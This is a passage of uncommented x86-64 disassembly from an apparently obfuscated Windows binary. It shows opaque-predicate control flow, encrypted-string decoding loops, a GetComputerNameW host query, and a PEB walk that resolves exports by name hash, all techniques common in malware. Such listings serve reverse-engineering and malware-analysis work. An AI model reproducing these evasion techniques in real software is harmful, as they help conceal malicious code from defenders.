movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003a19b
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx esi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, esi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x14003a19b
mov eax, r12d
jmp 0x14003a236
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003a22f
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14003a236
mov eax, dword [rsp + 0x16b0]
cmp r14d, eax
jge 0x14003a2df
mov byte [rsp + 0x740], 0x36
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x741], xmm0
mov qword [rsp + 0x751], rax
mov word [rsp + 0x759], ax
mov byte [rsp + 0x75b], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x1c
jae 0x14003a2cc
movabs rbx, 0x4713e687e287
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x740]
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x4f
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x740], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
cmp rax, 0x1c
jb 0x14003a285
lea rdx, [rsp + 0x740]
jmp 0x14003a08a
mov r12d, 7
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003b046
mov rcx, r14
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003a3ee
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx esi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, esi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x14003a3ee
mov ebx, r12d
jmp 0x14003a489
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003a482
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14003a489
mov ebx, dword [rsp + 0x16b0]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx esi, al
call fcn.140003750
mov edx, esi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003b046
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
movsx eax, al
imul eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003b046
mov rcx, r14
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003a5dc
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx esi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, esi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x14003a5dc
mov ebx, r12d
jmp 0x14003a675
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003a66e
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
movsx edx, al
imul edx, edi
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14003a675
mov ebx, dword [rsp + 0x16b0]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx esi, al
call fcn.140003750
movsx edx, al
imul edx, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003b046
mov dword [rsp + 0x167c], 0x10
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003ae92
lea rdx, [rsp + 0x167c]
lea rcx, [rsp + 0x26b0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003a7d6
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx esi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, esi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x14003a7d6
mov ebx, r12d
jmp 0x14003a871
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003a86a
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14003a871
mov ebx, dword [rsp + 0x167c]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx esi, al
call fcn.140003750
mov edx, esi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003ae92
call fcn.140003750
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx r8d, al
imul ebx, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*4]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003a9af
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx esi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, esi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x14003a9af
mov eax, r12d
jmp 0x14003aa4a
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003aa43
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14003aa4a
mov eax, dword [rsp + 0x167c]
cmp r14d, eax
jge 0x14003ae92
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003ae7b
mov rcx, r14
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003ab61
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx esi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, esi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x14003ab61
mov ebx, r12d
jmp 0x14003abfc
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003abf5
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14003abfc
mov ebx, dword [rsp + 0x167c]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx esi, al
call fcn.140003750
mov edx, esi
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003ae7b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1e10], xmm0
movups xmmword [rsp + 0x1e20], xmm0
movups xmmword [rsp + 0x1e30], xmm0
movups xmmword [rsp + 0x1e40], xmm0
movups xmmword [rsp + 0x1e50], xmm0
movups xmmword [rsp + 0x1e60], xmm0
movups xmmword [rsp + 0x1e70], xmm0
mov qword [rsp + 0x1e80], rax
lea rcx, [rsp + 0x1e10]
call fcn.14005c7d0
nop
call fcn.140003750
movsx edi, al
call fcn.140003760
movsx esi, al
call fcn.140003790
movsx ebx, al
mov edx, edi
imul edx, esi
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003ad8d
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx esi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, esi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x14003ad8d
mov eax, r12d
jmp 0x14003ae24
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
movsx edx, al
imul edx, edi
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003ae1d
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
movsx edx, al
imul edx, edi
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14003ae24
mov eax, dword [rsp + 0x167c]
cmp r14d, eax
jge 0x14003ae6e
lea r8, [rsp + 0x26b0]
lea rdx, [rsp + 0x1b68]
lea rcx, [rsp + 0x1e10]
call fcn.14005c6b0
mov ebx, dword [rsp + 0xa0]
bts ebx, 9
lea rcx, [rsp + 0x1e10]
call fcn.14005c6e0
bts ebx, 8
mov dword [rsp + 0xa0], ebx
jmp 0x14003b046
lea rcx, [rsp + 0x1e10]
call fcn.14005c6e0
mov ebx, dword [rsp + 0xa0]
bts ebx, 8
mov dword [rsp + 0xa0], ebx
jmp 0x14003b046
call fcn.140003750
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx r8d, al
mov edx, edi
imul edx, ebx
lea ebx, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*2]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx edx, al
imul edx, ebx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003af89
call fcn.140003780
movsx edi, al
call fcn.140003770
movsx esi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, esi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, edi
add eax, ebx
add edx, eax
je 0x14003af89
mov eax, r12d
jmp 0x14003b022
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
movsx edx, al
imul edx, edi
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003b01b
call fcn.140003790
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si eax, xmm0
jmp 0x14003b022
mov eax, dword [rsp + 0x167c]
cmp r14d, eax
jge 0x14003b046
lea rdx, [0x140073888]
lea rcx, [rsp + 0x1b68]
call fcn.140001d00
or dword [rsp + 0xa0], 0x100
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003b779
mov rcx, r14
mov eax, dword [0x14007d2c0]
cmp dword [0x14007d2c4], eax
setg cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x50], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
movsx edx, al
imul edx, ebx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003b152
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14003b152
mov ebx, r12d
jmp 0x14003b1ed
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003b1e6
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x50]
cvttsd2si ebx, xmm0
jmp 0x14003b1ed
mov ebx, dword [rsp + 0x167c]
call fcn.140003790
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003750
mov edx, edi
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, esi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, ebx
test eax, eax
je 0x14003b779
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14003b895
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rdi, r14
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14003b32a
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x14003b32a
mov r10d, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
lea rax, [r9 + r8*4]
mov ecx, dword [rax + r10]
movzx eax, byte [rcx + r9]
lea rdx, [rcx + 1]
add rdx, r9
test al, al
je 0x14003b325
mov ecx, 0x3937698c
mov rbx, rdx
nop dword [rax]
nop word [rax + rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rbx + 1]
mov rbx, rdx
test al, al
jne 0x14003b300
cmp ecx, 0xa4ae121a
je 0x14003b4bc
test r8d, r8d
jne 0x14003b2d0
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r14
je 0x14003b340
cmp qword [rax + 0x30], 0
je 0x14003b340
mov al, 1
jmp 0x14003b342
xor al, al
test al, al
jne 0x14003b2a0
xor r14d, r14d
mov ebx, r14d
mov byte [rsp + 0x7a0], 0x2c
mov byte [rsp + 0x7a1], 0x2d
mov byte [rsp + 0x7a2], 0x2a
mov byte [rsp + 0x7a3], 0x2b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x7a4], xmm0
mov byte [rsp + 0x7b4], al
mov qword [rsp + 0x50], r14
mov rax, qword [rsp + 0x50]
cmp rax, 0x15
jae 0x14003b3e7
movabs r8, 0xab6540cf8ed3efa
nop
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
movzx edx, byte [rsp + rax + 0x7a0]
add rcx, r8
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x2a
add cl, dl
mov rax, qword [rsp + 0x50]
mov byte [rsp + rax + 0x7a0], cl
mov rax, qword [rsp + 0x50]
inc rax
mov qword [rsp + 0x50], rax
